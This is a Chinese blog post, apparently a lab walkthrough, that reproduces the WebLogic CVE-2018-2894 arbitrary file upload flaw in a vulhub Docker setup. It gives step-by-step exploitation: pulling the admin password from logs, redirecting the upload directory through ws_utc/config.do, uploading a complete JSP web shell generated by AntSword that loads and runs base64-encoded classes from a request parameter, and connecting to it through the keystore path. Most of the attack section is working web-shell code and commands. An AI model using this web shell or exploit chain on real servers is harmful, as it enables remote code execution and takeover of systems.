weblogic 任意文件上传


weblogic 任意文件上传

部署环境

使用 docker-compose 进行部署

┌──(justice㉿kali)-[~/vulhub/weblogic/CVE-2018-2894]
└─$ sudo docker-compose up -d 

启动之后就可以在浏览器里面访问 http://ip:7001/console 就可以看见后台登录界面了。用户名和密码是在 sudo docker-compose logs | grep password 就能够筛选出来。

┌──(justice㉿kali)-[~/vulhub/weblogic/CVE-2018-2894]
└─$ sudo docker-compose logs| grep password
[sudo] password for justice: 
weblogic_1  |       ----> 'weblogic' admin password: 7CrWlviv
weblogic_1  | admin password  : [7CrWlviv]
weblogic_1  | *  password assigned to an admin-level user.  For *

登录后台

漏洞复现

使用浏览器访问 http://127.0.0.1:7001/ws_utc/config.do,将下如所示的路径更换为 /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

上传一句话木马

首先使用 中国蚁剑 生成一个 jsp 格式的一句话木马,并保存到电脑上,文件的内容如下。

<%!
class STANDARD extends ClassLoader{
  STANDARD(ClassLoader c){super(c);}
  public Class global(byte[] b){
    return super.defineClass(b, 0, b.length);
  }
}
public byte[] hacker(String str) throws Exception {
  Class base64;
  byte[] value = null;
  try {
    base64=Class.forName("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
  } catch (Exception e) {
    try {
      base64=Class.forName("java.util.Base64");
      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception ee) {}
  }
  return value;
}
%>
<%
String cls = request.getParameter("666");
if (cls != null) {
  new STANDARD(this.getClass().getClassLoader()).global(hacker(cls)).newInstance().equals(new Object[]{request,response});
}
%>

在下图所示的上传文件的过程中使用 BurpSuite 抓包,并获取到返回的时间戳。

连接一句话木马

在软件中链接,使用这个地址 http://127.0.0.1:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录